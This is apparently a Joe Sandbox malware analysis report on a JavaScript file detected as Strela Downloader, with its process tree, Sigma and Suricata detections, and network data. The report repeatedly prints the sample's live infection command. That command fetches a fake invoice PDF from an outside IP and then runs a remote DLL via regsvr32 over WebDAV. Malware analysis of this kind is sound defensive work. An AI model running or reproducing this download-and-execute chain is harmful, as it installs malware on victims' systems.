Edit tour

Windows Analysis Report
25917225161220417691.js

Overview

General Information

Sample name:	25917225161220417691.js
Analysis ID:	1587715
MD5:	d5abaf9f7b38aeb113c6f7af91b649bf
SHA1:	2e5ea815d11846073e85583bf9e0c3e12b654390
SHA256:	d31a7cc56cae15a050a957ed527d6a6cd3356111a51bef66e2347885e493acff
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2788 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1632 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1292 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1680,i,4882643413840628945,11293059792243760680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1532 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1020 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2788	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1632, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1292, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1632, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1292, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ProcessId: 2788, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1020, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 1632, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 1632, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 1632, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 1632, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 1632, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ProcessId: 2788, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1632, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1292, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1532, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1020, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7104, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1532, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1020, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25917225161220417691.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll, ProcessId: 1632, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:16:46.546508+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:16:44.319017+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 25917225161220417691.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 25917225161220417691.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:16:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

